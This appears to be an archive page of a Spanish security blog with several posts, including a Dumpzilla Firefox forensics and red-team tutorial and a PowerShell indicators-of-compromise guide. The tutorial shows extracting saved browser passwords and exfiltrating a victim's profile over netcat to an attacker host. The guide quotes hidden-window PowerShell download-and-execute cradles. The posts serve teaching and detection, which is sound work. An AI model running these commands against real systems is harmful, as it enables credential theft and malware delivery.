miércoles, junio 20, 2018

Network Innovation Day 2018: Conferencias en vídeo disponibles online #NID2018

El pasado 14 de Junio nos paramos en Telefónica para hablar de nuestros trabajos en la red durante la celebración del Network Innovation Day. Hablamos de lo que hacemos con BigData, con Seguridad Informática, con Machine Learning o Quantum Computing durante una mañana, para explicar a nuestros clientes nuestros "internals" con las Self Organized Networks, con Software Defined Networks o Network Function Virtualization.

Figura 1: Network Innovation Day 2018: Conferencias en vídeo disponibles online #NID2018

Durante ese día hablaron los responsables de muchas de nuestras áreas tecnológicas de la casa, como Guillermo Ansaldo, Enrique Blanco, David del Val, Francisco Montalvo, Pedro Pablo Pérez o nuestro consejero Ignacio Cirac, que dio una charla muy especial del proyecto de cifrado de comunicaciones en red utilizando Quantum Computing.


Figura 3: Network Innovation Day 2018 Full Event

Ahora los vídeos, junto con todas las presentaciones, las tienes disponibles online. En la web del Network Innovation Day 2018 puedes ir siguiendo la agenda y descargando las presentaciones, al tiempo que ver la sesión que más te interese.



Fue un día muy especial, así que yo aproveché para hacerme fotos con muchos de los otros ponentes y amigos, ya que se dan pocas citas así, en las que nos pongamos todos en frente de nuestros clientes para hablar de cosas que nos gustan tanto. Estos son días de alegría para todos.



Las sesiones son todas cortitas, ya que queríamos que el evento fuera muy dinámico, así que cada una tiene una duración de entre 5 y 20 minutos - la presentación inicial - como máximo. Esto te permitirá, si así lo deseas, ir desgranando el evento poco a poco a ratos.

Saludos Malignos!

martes, junio 19, 2018

Dumpzilla: Cómo hacer un análisis forense a los usuarios de Mozilla Firefox

Como todos sabemos, la información que queda almacenada de las personas en los navegadores web, entre las que se encuentran nombres de los usuarios y contraseñas, cookies, historial de descargas y otros muchos datos resultan de gran valor para la seguridad y privacidad personal, por lo que es conveniente mantenerla protegida. Hoy os voy a hablar de una herramienta con la que nos topamos recientemente llamada dumpzilla y que tiene que ver precisamente con toda esa información que se almacena en los navegadores de Internet.

Figura 1: Dumpzilla "Cómo hacer un análisis forense a los usuarios de Mozilla Firefox"

Dumpzilla Es una herramienta muy útil, versátil e intuitiva dedicada al análisis forense en navegadores Mozilla. Según el GitHub de la herramienta desarrollada para Python, Dumpzilla tiene la capacidad de extraer toda la información relevante de navegadores Firefox, Iceweasel y Seamonkey para su posterior análisis de cara a ofrecer pistas sobre ataques sufridos, robo de información, contraseñas, correos, etcétera.

Figura 1: Dumpzilla en GitHub

Con esta herramienta se podemos acceder a un gran volumen de información valiosa, entre la que podemos encontrar:
• Cookies + almacenamiento DOM (HTML 5) 
• Preferencias de usuario (permisos de dominio, ajustes de Proxy, etc...)

• Historial de visitas

• Historial de descargas

• Datos de formularios web (búsquedas, e-mails, comentarios, etc...)

• Marcadores
Además, Dumpzilla también contempla la opción --Watch, que permite auditar el uso de nuestro navegador en tiempo real. Por todo ello nos decidimos a jugar con esta herramienta para probar sus capacidades, centrándonos en Mozilla Firefox.

Instalación de Dumpzilla

El primer paso es conocer el directorio donde se almacena la información de los perfiles de usuario del navegador. Para cada SO:
• Linux: /home/user/.mozilla/firefox/xxxxxxxx.default 
• MacOS: /Library/Application Support/Firefox/Profiles/ xxxxxxxx.default 
• Windows XP: C:\Documents and Settings\user\Datos de programa\Mozilla\Firefox\Profiles\ xxxxxxxx.default 
• Windows Vista, 7, 8 y 10: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ xxxxxxxx.default
En el caso que nos ocupa, hemos realizado la prueba en dos máquinas virtuales. Una con SO Kali Linux 2018.2 y otra con Ubuntu 16.04 LTS, por lo que el fichero con la información relativa a los perfiles de nuestro navegador se encuentra en la ruta /home/user/.mozilla/firefox/xxxxxxxx.default. Firefox genera un fichero xxxxxxxx.default con 8 caracteres aleatorios y los asigna al nombre de un determinado perfil. Cada directorio puede ser procesado individualmente haciendo uso de Dumpzilla.

De cara a la instalación y uso de Dumpzilla, comenzaremos instalando algunos paquetes necesarios. Primero instalando algunos paquetes haciendo uso de pip:
pip install logging
Instalamos algunas librerías más haciendo uso de apt-get:
apt-get install python3 sqlite3 python-lz4 libnss3
A continuación, procedemos a descargar Dumpzilla. Aunque lo inmediato hubiera clonar el repositorio de GitHub de la herramienta, se reportó un bug en la última versión que provoca un fallo en la decodificación de las contraseñas guardadas en Firefox. Gracias al buen versionado de la herramienta, procedemos a descargar esta versión de Dumpzilla y a extraer la los ficheros comprimidos:
wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'
unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip
Figura 3: Extracción de Dumpzilla tras su descarga

Tras extraer los archivos, nos metemos en la carpeta recién creada dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con el contenido de scripts y carpetas de la versión correspondiente.
cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
Damos permiso de ejecución del fichero dumpzilla.py
chmod +x dumpzilla.py
Una vez dados estos pasos, ya tendríamos Dumpzilla listo para su uso.

Primera prueba con Dimpzilla

Para comprobar que todo ha ido bien, podéis hacer una copia de los directorios donde se almacenan los ficheros con la información de los perfiles indicados anteriormente (en función de vuestro SO) a la carpeta dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ y probar a ejecutar el script sobre el que acabamos de dar permiso de ejecución.

Por ejemplo, para extraer las contraseñas de un determinado perfil de Firefox, sólo tenemos que hacer uso del siguiente comando (en el caso de estar trabajando en Linux):
python3 dumpzilla.py firefox/xxxxxxxx.default/ --Passwords
Figura 4: Presentación de usuarios y contraseñas de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla
python3 dumpzilla.py firefox/xxxxxxxx.default/ --History
Figura 5 Presentación de historial de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla

Como podéis ver, el uso de la herramienta es sencillo y se obtiene una gran cantidad de información que puede resultar útil siempre y cuando la intención de su uso sea lícita. Podéis ver todas las posibilidades de uso aquí en el Manual de Dumpzilla en Español. La información que extraigamos del navegador vendrá dada en función de los hábitos de uso del usuario, la versión del web browser y su configuración, así como del azar.

Estas herramientas también tienen valor en un escenario de pentesting, en donde un atacante de un Red Team quiere acceder información sensible de los usuarios de una máquina donde se está utilizando uno de estos navegadores.

Dumpzilla en un pentesting de un Red Team

Todo usuario de Firefox sabe que el navegador es capaz de gestionar múltiples perfiles. Estos perfiles se suelen usar con la intención aislar de los demás su actividad en el navegador. No nos hemos encontrado con restricciones en el acceso a perfiles, pues sólo tenemos uno habilitado en cada máquina virtual al ser una prueba de concepto rápida.

En el caso de que tuviéramos varios perfiles habilitados para varios usuarios, sólo podríamos acceder a la información de aquellos para los que nuestro usuario tiene permiso de lectura, quedando los otros perfiles sin visibilidad en el caso de no contar con acceso de administrador.

Poniendo un ejemplo sencillo, supongamos que un atacante ha creado un backdoor y que nuestra máquina se ha visto comprometida. Además, el atacante contaría con total probabilidad perfil root (administrador), lo que le permitiría acceder a toda la información de los perfiles de Firefox almacenados en esa carpeta, sin restricción en los permisos. Este tipo de ataque ya se trató en este artículo, al que os animamos a echar un vistazo.

Figura 6: Diagrama de obtención de datos de perfiles de Mozilla Firefox

Tomando como atacante la VM con SO Kali Linux y la VM de Ubuntu como víctima, podremos reproducir el ataque con sólo tres comandos. Situándonos en la máquina atacante, en la carpeta dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ recurrimos a Netcat (una herramienta adecuada para supervisar y escribir sobre conexiones tanto TCP como UDP).
nc -l -p 9999 | tar x
A través de este comando pediremos a Netcat que escuche (-l) a través del puerto (-p) 9999 todo dato entrante especificado por tar. El x tras el comando tar indica que debe extraer y almacenar de manera automática todos los directorios comprimidos que vengan del netcat pipe. Los directorios se comprimen durante la transmisión de Netcat para facilitar a la propia herramienta el procesado de los datos. Podemos acceder como root a través de ssh a la máquina con backdoor:
ssh root@IP_UBUNTU
Dentro de la máquina atacada nos movemos a la carpeta donde se almacena toda la información de los perfiles:
cd /home/.mozilla/
para ejecutar
tar cf - firefox/ | nc IP_KALI 9999
Aquí hacemos uso del comando tar para comprimir el contenido de la carpeta firefox/ y dirigirlo haciendo uso del comando nc. La dirección IP del atacante queda representada por IP_KALI.

Hay que dar un cierto margen a la ejecución de este comando, en especial si el perfil de Firefox que queremos transferir contiene meses de historial, cookies y múltiples marcadores. Detener el proceso de manera abrupta podría corromper algunos ficheros y hacer imposible la decodificación de la información que nos interesa.

Ya de vuelta en nuestra máquina Kali Linux (la atacante) tendremos en nuestro directorio dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con al menos un directorio firefox/ con el naming xxxxxxxx.default/.

Figura 7: Contenido del directorio de dumpzilla tras la transferencia de firefox/ desde la víctima

De este directorio se podría extraer toda la información deseada, tal y como se mostró anteriormente con los comandos simples de la Figura 3 y la Figura 4, o siguiendo los comandos que se describen en el Manual de Dumpzilla en Español.

Reflexión final

Como se puede ver, hay herramientas más que preparadas para extraer toda la información de un usuario que se encuentra en un navegador. En este caso en Mozilla Firefox, Iceweasel y SeaMonkey, pero las herramientas existen para todos. Almacenar información como contraseñas de manera indiscriminada en el navegador y no actualizarlas con una cierta frecuencia puede llegar a poner en riesgo nuestras credenciales de acceso a nuestras diferentes cuentas.



Figura 8: Cómo proteger tu cuenta de Mozilla Firefox con Latch Cloud TOTP

Para mitigar que información sensible del usuario quede expuesta por este medio, algunas buenas prácticas sencillas que podrían dificultar la obtención de datos personales a través de este tipo de ataques podrían ser:
• Uso de la navegación privada, a pesar de la inconveniencia derivadas del mismo. 
• Gestionar correctamente las contraseñas, a saber:
o Nunca hacer uso de diccionarios 
o Poner passwords que no sean fáciles de adivinar 
o Cambiar las contraseñas con frecuencia 
o No usar la misma contraseña para diferentes cuentas 
o Poner un Segundo Factor de Autenticación a todas tus identidades
• Como no, Proteger tus perfiles de Firefox con Latch Cloud TOTP.
Autor:  Enrique Blanco (@eblanco_h) miembro del equipo de Ideas Locas en CDO (Telefónica)

lunes, junio 18, 2018

Indicadores de Compromiso de los ataques vía Powershell

Powershell vino para quedarse y Microsoft sigue apostando fuerte por ella. Ya hemos comentado en otras ocasiones que Powershell es la línea de comandos, seguramente, más potente del mundo y que permite administrar cualquier elemento dentro de una red o sistema Microsoft. También hemos ido viendo cómo se puede jugar con Powershell desde el punto de vista de un pentester, por ejemplo, en el año 2015 hice una charla sobre cómo con Powershell se podían realizar un gran número de acciones de pentest. Esto no ha hecho más que avanzar.

Figura 1: Indicadores de Compromiso de los ataques vía Powershell

Además, cree una pequeña herramienta de pentesting llamada PSBot con la que uno podía ir utilizando diferentes funciones de Powershell a través de una consola controlada por el pentester. La idea era similar al llamado Powershell Empire, salvando las distancias claro. Como se ve con Empire se puede realizar (casi) cualquier cosa dentro de un proyecto de Ethical Hacking, como, por ejemplo, el pass the hash utilizando Mimikatz para ello.


Figura 2: Conferencia sobre PSBot

En el post de hoy queríamos hacer una recopilación de buenas prácticas para detectar ataques a través de Powershell y tener claros una serie de IoCs: (Indicadores de compromiso). Hay algunas cosas obvias como, por ejemplo, si un proceso de Powershell viene heredado desde un proceso como winword.exe, aunque podría ser un proceso legítimo, pinta a una macro maliciosa. Es recomendable leer el artículo “Powerdown the PowerShell Attacks : Harnessing the power of logs to monitor the PowerShell activities“, en el que se explica una serie de detalles interesantes de los ataques con Powershell.

Powershell en un ataque

Lo primero que debemos tener claro es cómo se utiliza, generalmente, la Powershell dentro de un ataque. Una de las primeras opciones es utilizar a Powershell como un “Downloader”, es decir, una herramienta para descargar de una forma u otra código a ejecutar. En el año 2015, en el primer boceto de PSBot se mostraba cómo se podía descargar un fichero y después ejecutar con el cmdlet Invoke-Expression. En este caso, el fichero toca disco, por lo que un antivirus podría tener ventaja en este caso.

Figura 3: Función loader en PowerShell

Nos podemos encontrar con casos en que se utilicen diferentes cmdlets para descargar archivos, ya sea a disco o a memoria, y luego una concatenación de acciones para ejecutar lo descargado, por ejemplo, utilizando Invoke-Expression, Invoke-Item o los Start-Process. La forma para descargar el código que veremos será:
• Si la versión de Powershell es menor de la 3.0 nos encontraremos con (New-Object net.webclient). Aquí tenemos varios métodos como son DownloadFile() y DownloadString(). 
• Si la versión es mayor de la 2.0 nos encontraremos, generalmente, con el Invoke-WebRequest.
En el caso de descargar algo con DownloadFile() el fichero es almacenado en disco y, posteriormente, puede ser ejecutado con Invoke-Item. En el caso de DownloadString() el recurso remoto es almacenado en memoria, por lo que se puede saltar de manera sencilla un análisis de firmas. Algo parecido al famoso URLDownloadToFileA que buscábamos en los binarios a través de BING.

En muchos ataques, uno se puede encontrar este tipo de patrón [ruta Powershell]\powershell.exe –nop –Exec Bypass –C (New-Object net.webclient).DownloadFile(“[Ruta]”). En otras muchas ocasiones, en vez de DownloadFile() se puede encontrar DownloadString(). Lo que hace esta línea es ejecutar una Powershell con un NoProfile, bypasseando la política de ejecución de scripts y el parámetro –C para indicar que es un comando de Powershell lo que se debe ejecutar.

Cuando uno se encuentra este tipo de instrucciones, claramente se piensa en que se quiere lograr ejecutar código malicioso, en forma de scripts, de DLLs, binarios, etcétera. El uso del DownloadString() es una técnica muy utilizada para crear el malware denominado Fileless o sin archivos.

En este ejemplo visto en SecurityAffairs, se puede ver un fichero cmd.js, el cual es un script que inicia el proceso calc.exe en el equipo víctima sin ningún archivo en el disco, todo se ejecuta en memoria. Se puede copiar una calc.exe y ponerle la extensión cmd.js. El siguiente fragmento o instrucción muestra la operativa:
powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('hxxp:///********** [.]com/***/**.mdf', $env:APPDATA + ` ` \***.exe'); Inicio-Proceso $env:APPDATA'\***.exe';(New-Object System.Net.WebClient).DownloadString('hxxp://nv********[.]com/s.php?id=po**')

Otra forma de verlo sería:
Powershell.exe –nop –Exec Bypass –C iex (New-Object net.webclient).downloadstring(‘http://xxxxxx/cmd.js’)
Otra técnica vista y utilizada es el uso de funciones remotas que aporten funcionalidades de descarga del malware. Es decir, pongamos como ejemplo una macro incrustada en un Word o un Excel, en el momento de su ejecución se descargan una serie de funciones y luego son invocadas. Todo queda en memoria.

Figura 4: Una ejecución maliciosa desde PowerShell

Esta imagen es parte del primer PSBot de auditoría técnica basada en Powershell. En el siguiente vídeo se puede ver un ejemplo del uso coordinado de iex o Invoke-Expression junto al net.webclient. En este caso se ejecuta una Meterpreter que se conectará con el handler de Metasploit.


Figura 5: Instalación de Meterpreter con PSBot

De nuevo, este tipo de técnicas se puede encontrar en incidentes de seguridad, ya que logran ejecutar un Meterpreter a través del uso de Powershell como “Downloader”.

Otros indicadores: Los flags en Powershell

Aún no hemos comentado algunos flags que podemos encontrar en la ejecución de una Powershell, pero también pueden ser indicadores de compromiso. Vamos a ver algunos y su forma más natural de encontrarse:
WindowsStyle hidden o –w hidden: Esto provoca que la Powershell se ejecute en una ventana oculta. 
Exec: Este parámetro se implementó en versiones posteriores de Powershell, pero es muy común de encontrar. Permite bypassear la política de ejecución de scripts en Powershell. Es decir, permite saltar la restricción de ejecución restringida de scripts.

EncodedCommand: Esta es una opción muy utilizada cuando no se quiere mostrar el código que se ejecuta. El código está codificado en base64. • Nop o NoProfile. Este se ha comentado antes, permite ignorar los comandos del archivo Profile de Powershell.
Es común encontrar juntos los flags Nop, W o WindowsStyle, E o EncodedCommand. Así cómo un IEX que ejecutará lo que descarguemos con el webclient. Ejemplo sencillo y patrón a seguir:
Powershell.exe –nop –w hidden –C IEX (new-object net.webclient).downloadstring(‘[ruta]’)
Cuando la Powershell viene de uno o de otro

Para los indicadores de compromiso es importante valorar algo tan sencillo cómo quién ha sido el que ha creado el proceso. Puede parecer algo sencillo o algo no importante, pero lo es. La relación padre-hijo de un proceso es importante. Generalmente, un uso no malicioso se realiza desde la relación explorer.exe – powershell.exe.

Es decir, el proceso explorer.exe crea el proceso powershell.exe. Esto no siempre tiene porqué ser así, ya que en algunas ocasiones un administrador puede crear una cmd.exe y luego una powershell.exe desde ella. Eso sí, la relación entre el abuelo, padre e hijo podría verse como algo así explorer.exe – cmd.exe – powershell.exe. Esto se puede ver fácil desde un Process Explorer.

Figura 6: explorer.exe - cmd.exe - powershell.exe

En los ataques, la mayoría de las veces los ataques con Powershell son lanzados desde la línea de comandos, por lo que cmd.exe – powershell.exe se encuentra. Si el proceso “abuelo” es, por ejemplo, winword.exe, wscript.exe, mshta.exe o cualquiera de los binarios extraños o dónde el scripting puede tener sentido debemos valorarlo. En el primer caso, podríamos estar ante una macro claramente, y esa macro ser maliciosa. Esto se suele ver en incidentes de phishing y la activación de la macro por parte del usuario. También si winword.exe es padre de powershell.exe debemos valorarla y registrarla.

El registro de la actividad

El registro de Windows puede ayudarnos para registrar acciones de Powershell, según la versión de ésta. Para detectar, por ejemplo, los indicadores que se han ido comentando con anterioridad se puede habilitar los eventos de seguridad, cuyo ID es el 4688. Este ID representa la creación de un proceso. Lógicamente, este registro de evento creará una gran actividad, por lo que la aplicación de filtros es fundamental.

Figura 7: Información de un proceso

Por defecto, la auditoría de creación de procesos está desactivada, por lo que hay que habilitarla. Hay que indicar que se quiere registrar también los procesos creados a través de la línea de comandos. Microsoft proporciona más información en este enlace. La información que se obtiene:
• Qué proceso se ha creado. 
• Qué parámetros o argumentos de la línea de comandos se pasan con la creación del proceso. 
• Quién es el proceso padre.
Hay que tener en cuenta que este tipo de auditoría se puede realizar en Windows Server 2012, 8.1, Windows Server 2016 y/o Windows 10. Tenemos que tener en cuenta que los comandos y los scripts de Powershell son fáciles de “confundir” y de “ofuscar”. Existen muchas formas de ofuscar y hacer lo mismo de muchas formas distintas, por lo que se puede confundir al usuario. Sin duda, es importante conocer las posibilidades de Powershell y monitorizar su ejecución y el entorno y utilizar filtros que ayuden a depurar la información.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

domingo, junio 17, 2018

Dos sesiones para aprender high-tech en la piscina: "Algo raro pasa en mi red" & "Cómo enseñar a tu AI a jugar al Breakout de Atari"

Hoy domingo en España el tiempo acompaña para hacer algo de deporte (yo ya participé en mi carrerita de 10 KM esta mañana), bañarse en la piscina y comer con amigos y familiares antes de darse una siesta de esas de orinal y pijama que tanto me gustan a mí los fines de semana. Pero si estás tirado en la piscina o en la playa, también puedes aprovechar el tiempo para aprender cosas chulas. En este caso os traigo dos de las últimas sesiones que hemos hecho online en ElevenPaths y LUCA.

Figura 1: Dos sesiones para aprender high-tech en la piscina:
"Algo raro pasa en mi red" & "Cómo enseñar a tu AI a jugar al Breakout de Atari"

La primera de ellas es "Algo raro pasa en mi red" en la que nuestros CSA Claudio Caracciolo, Gabriel Bergel y Pablo San Emeterio debaten sobre las técnicas y las tecnologías que existen para detectar anomalías en la red, además de contar algunos de los proyectos en los que estamos trabajando en ElevenPaths.


Figura 2: Algo raro pasa en mi red

La segunda de las charlas tiene que ver con Inteligencia Artificial y el mundo del Gaming, en este caso utilizando servicios de Visión Artificial para entrenar tu red neuronal y hacerla que sea la reina del BreakOut de Atari. Un juego clásico donde los haya.


Figura 3: Cómo entrenar tu AI para jugar al BreakOut de Atari

Ya sabes, sin prisa. Te pones la sesión 15 minutos, luego paras para ver un rato el mundial. Luego sigues con un café con hielo fresquito viendo otra parte, y así, casi sin darte cuenta, te vas formando y haciendo que estés mucho más preparado para el presente y el futuro que tenemos.

Saludos Malignos!

sábado, junio 16, 2018

Nuestras citas para la semana que viene: Teatro, conferencias en Londres y Donostia, y una charla online

Como todos los fines de semana, aprovecho para dejaros la agenda de eventos, charlas, conferencias y citas varias que vamos a tener durante esta semana. La oferta no es muy larga pero espero que alguna de ellas sea de tu interés. Así que no perdamos más tiempo que el día apetece disfrutarlo.

Figura 1: Nuestras citas para la semana que viene.
Teatro, conferencias en Londres y Donostia, y una charla online

El martes 19, la segunda representación en Madrid de la obra de teatro de "Entiéndeme tú a mí", donde Eloy Arenas cuenta en cinco actos lo difícil que puede llegar a ser ponerse de acuerdo. Especialmente si eres un informático, te llamas Chema Alonso, y tu nuevo ordenador - ROM - es un clon de ti mismo. Será en Madrid, por la noche.

Figura 2: Entiéndeme tú a mí

Los días 19 y 20 de Junio, en Londres, estará nuestro compañero Francisco Montalvo, responsable de la 4ª Plataforma en mi equipo, participando en las jornadas de Chief Data Officer. Allí, compartirá nuestras experiencias en la construcción de la estrategia Data-Centric en nuestra casa, además de los productos que construimos en LUCA basados en datos. En la web está la agenda completa del evento.

Figura 3: Chief Data Officer en Londres

También el día 20 de Junio, pero online, tendrá lugar una nueva CodeTalk For Developers, en este caso orientada a explicar los pormenores a todos los asistentes de UAC-A-MOLA, el framework para investigar, explotar y mitigar los ataques de UAC Bypass. Más info en la web.

Figura: UAC-A-Mola Talk

Y el fin de semana en Donostia, una nueva edición de la EuskalHack Security Congress. Una cita que alcanza su tercera edición y donde, además de disfrutar los días 22 y 23 de Junio de todas las charlas y talleres, tendrás la oportunidad de adquirir nuestros libros de 0xWord. Tienes toda la agenda en la web de las jornadas.

Figura: Euskalhack Security Congress III

A parte de estos actos, yo participaré en dos eventos privados para clientes de Telefónica "Living Cloud" y el Industrial Analyst Day, que tendrán lugar esta semana. Si te han invitado y asistes, nos vemos por allí.

Saludos!

viernes, junio 15, 2018

Quantum Cryptography: Una comunicación con cifrado cuántico en Telefónica

Ayer tuvimos nuestro Network Innovation Day, un evento muy especial en el que quisimos contarle a nuestros clientes cómo trabajamos constantemente para innovar en la red. Cómo la desplegamos, como la operamos, como la transformamos y cómo la apagamos cuando llega el momento. Para ese día, los equipos de 4º Plataforma y Big Data, los equipos de Ciberseguridad, los equipos de Product Innovation, y los equipos puros de red nos paramos a explicar detalles de cómo innovamos en cada una de las áreas.

Figura 1: Quantum Cryptography: Una comunicación con cifrado cuántico en Telefónica

En el evento estuvieron los pesos pesados de las áreas tecnológicas de la casa, con Guillermo Ansaldo, Enrique Blanco, Pedro Pablo Pérez, Paco Montalvo, David del Val, entre otros, pero tuvimos la suerte de contar con nuestro consejero Ignacio Cirac, que vino a hablarnos de Quantum Computing y criptografía, para contarnos el piloto que hemos hecho en Telefónica de cifrado cuántico con la Universidad Politécnica de Madrid y Huawei.


Los ordenadores cuánticos están aún a unos pocos años de llegar, aunque es verdad que ya tenemos bastantes prototipos que han sido anunciados por muchas empresas tecnológicas. Lo cierto es que aún queda camino por recorrer para conseguir construir ordenadores fiables, con potencia de cómputo y con primitivas suficientes como para poder desarrollar una industria similar a la que se ha creado sobre los ordenadores "clásicos". Pero llegará, seguro.


Figura 3: Resumen en 2 minutos del Network Innovation Day

Debido a las propiedades de entrelazamiento de los quantums, las teorías pronostican que podría conseguirse una velocidad de "transmisión" de información entre las partículas que permitirá ejecutar programas a tal velocidad que los sistemas de cifrado basados en algoritmos RSA que depositan su robustez en la dificultad de factorizar las claves de cifrado dejarán de ser útiles ya que la fuerza bruta de estas sería factible en tiempo despreciable. Y es aquí donde si quieres entender bien este mundo, debo recomendarte que te leas el libro de Cifrado de las Comunicaciones Digitales: De la cifra clásica a RSA.

Debido a los peligros que conlleva para los algoritmos de cifrado clásico la llegada de los Quantum Computers, se ha empezado a trabajar en lo que se denomina Post Quantum Cryptography, intentando hacer sistemas de cifrado capaces de soportar la llegada de los ordenadores cuánticos a nuestra vida. Para ello, se busca evitar el uso de algoritmos basados en la factorización de las claves o encontrar alguna otra robustez en el proceso, por ejemplo en la transmisión de las claves de cifrado o en la volatilidad de la información.

Y una de las aproximaciones consiste en utilizar las propiedades que suceden en la medición de la información (el spin) en un quantum, pues al medir su spin, éste puede ser modificado dependiendo de la dirección de la medida.  Este vídeo lo explica en detalle para todo el mundo.


Figura 4: Entrelazamiento cuántico & Spooky Action a distancia

Desde el punto de vista de la criptografía, si una clave de cifrado se enviara por un medio de Alice a Bob y Eva, el atacante, la interceptara en tránsito y accediera a la clave, entonces esta clave sería destruida y Bob nunca llegaría a leer cuál era la clave, por lo que no habría comunicación y se detectaría la intrusión. Es decir, no sabemos si Él juega a los dados, pero los quantums pueden ser buenos para enviar el valor que salga en ellos.

Figura 5: Nota de prensa del piloto de criptofgrafía cuántica

Esto permite, utilizando un ordenador cuántico pequeño, y una fibra óptica lo suficientemente grande como para que Alice y Bob puedan hacer las mediciones de los spins de los quantums con una tasa de error aceptable, poder enviar una clave de cifrado de una comunicación entre A y B de manera fiable, y haciendo que nadie pudiera acceder a la información de la clave - o que si lo hiciera se detectara y por lo tanto esa clave no se usara para enviar ninguna información cifrada con ella -. Aquí tienes el vídeo con la explicación del proyecto.


Figura 6: PoC de cifrado cuántico de Telefónica, la UPM y Huawei

Y esto es básicamente lo que hemos probado en Telefónica, junto con la Universidad Politécnica de Madrid y Huawei, y de lo que hablamos ayer. Perdonadme los puristas por la simplificación de toda la teoría del Quantum Computing, el cifrado cuántico y la criptografia postcuántica en este post, pues solo intento hacer más digerible nuestra PoC para todo el mundo. Eso sí, encantados de compartir experiencias y detalles si estás investigando en esto, que para nosotros el cifrado de las comunicaciones es importante en nuestros servicios de red, y estamos trabajando seriamente en ver las posibilidades de estos sistemas de cifrado cuántico.

Saludos Malignos!

jueves, junio 14, 2018

Wild Wild Wifi "Dancing with wolves": 5 WEP/WPA/WPA2-TOTP-Biometry

La última parte de esta serie dedicada a Wild Wild WiFi tiene que ver con el último de los trabajos que hicimos en este área de estudio. Se trata de dar una vuelta de tuerca a la idea del protocolo WEP-TOTP, WPA-TOTP y WPA2-TOTP de la que os hablé en la parte 4 de esta serie. Se trata de no utilizar una Pre-Shared Key en el proceso, y sustituirla por un derivado biométrico del usuario de la red.

Figura 34: Wild Wild Wifi "Dancing with wolves": 5 WEP/WPA/WPA2-TOTP-Biometry

Este método lo depositamos en una patente en Julio de 2017, debido a que la idea tenía suficientes avances tecnológicos como para merecer la invención, y el funcionamiento es bastante sencillo una vez vistas las partes anteriores.

Figura 35: Patente registrada en Julio de 2017

El objetivo es generar una clave de una red WEP, WPA o WPA que sigan utilizando el protocolo PSK estandarizado, pero hacer que la clave PSK que tienen los protocolos estándares se cambie cada cierto tiempo, utilizando una clave generada por un algoritmo TOTP. Este algoritmo generará la clave final utilizando como parte del proceso un derivado de la biometría de la persona que quiere usar la red WiFi.

Figura 36: Parte biométrica del proceso de enrollment.

Para ello, durante la fase de aprovisionamiento inicial de la red WiFi se hará un proceso de enrollment de la biometría del usuario - solo una vez - en el Access Point. El proceso generará un hash de la biometría que será utilizado posteriormente.

Con el valor biométrico como dato de entrada se generará un valor aleatorio que será parte de la semilla del algoritmo TOTP que generará las claves que la red WEP, WPA o WPA2 TOTP utilizará para cifrar los datos del usuario por la red. Este valor será pasado al cliente usando algún método, como mostrarlo por pantalla con un QRCode o de cualquier otra forma.

Figura 37: Parte aleatoria del proceso de aprovisionamiento

En cualquier intento de conexión el cliente pedirá conexión, y el servidor (Access Point) le hará un "Challenge" que deberá cumplir. Para ello, el cliente pedirá las credenciales biométricas al usuario para hacer el derivado de la misma. Después extraerá el valor aleatorio que el Access Point le entregó como parte final del proceso de enrollment, y con la suma de ambos tendrá la semilla del algoritmo TOTP para generar la clave de cifrado temporal.

Figura 38: Proceso de establecimiento de conexión a la red WiFi

Con este valor, cifrará un mensaje "Hello" que podrá ser descifrado solo por el Access Point que tiene el valor biométrico del usuario (que obtuvo durante el proceso de enrollment) y el valor aleatorio que se generó, lo que le permitirá tener el mismo algoritmo TOTP de generación de claves en ambos puntos de la comunicación.

Conclusiones

Al final, el trabajo que hemos visto en esta serie no es más que una reflexión continua sobre cómo se pueden mejorar las medidas de seguridad que tienen los protocolos conocidos y cómo podrían funcionar de manera diferente.

A lo largo de las partes hemos visto que se podrían mejorar las opciones de seguridad que tienen los clientes WiFi de dispositivos móviles o sistemas operativos para detectar ataques en la red, para acotar los ataques de Rogue AP utilizando SSID Pinning. Cómo se pueden reducir las ventanas de exposición de las claves PSK en protocolos WEP, WPA o WPA2-PSK utilizando algoritmos TOTP, y cómo se puede hacer este proceso más robusto haciendo uso de biometría.

Figura 39: Wild Wild Wifi

Para poder seguir el trabajo completo, os dejo las diapositivas subidas a SlideShare, y la lista completa de todos los artículos publicados en esta serie, con las explicaciones correspondientes.
1.- Mummy 
2.- SSDI Pinning 
3.- PsicoWiFI 
4.- WEP/WPA/WPA2-TOTP
5.- WEP/WPA/WPA2-TOTP-Biometry
Saludos Malignos!

miércoles, junio 13, 2018

Desayunos & Deadlines

A veces me tomó el café - los que me conocen saben que me gusta largo, aguado, americano - mientras veo a Mi Hacker y Mi Survivor dibujar. A lo mejor están leyendo un cuento, o un cómic de Asterix, o pegándose un rato. Son diez minutos nada más los que tenemos para ello. El ratito que va desde las 08:30 de la mañana que es cuando abren la cafetería de su colegio, hasta las 08:40 cuando abren el acceso a las clases.

Figura 1: Desayunos & Deadlines

A mi me gusta aparcar bien el coche para luego salir sin atascos hacia el trabajo o hacia el campo para hacer algo de deporte, así que madrugo para llegar pronto al colegio. De hecho, me levanto a las 6.00 - o incluso antes si es necesario - para trabajar un rato antes de meterme en el rato del colegio. Me gusta aprovechar la tranquilidad de la mañana para responder los correos urgentes, postear en el blog, y atender lo que más prisa corra. Luego toca ocuparse de ellas.

Cuando terminan esos diez minutos de "tranquilidad" en la cafetería toca acompañarlas a clase. Pasamos por el pabellón deportivo para llegar al comedor. Mi Hacker tiene que dejar su tartera con la comida del día en la zona destinada para ello. Mi Survivor ya va corriendo, gritándome y diciéndome "a que no me pillas, cara de tortilla".

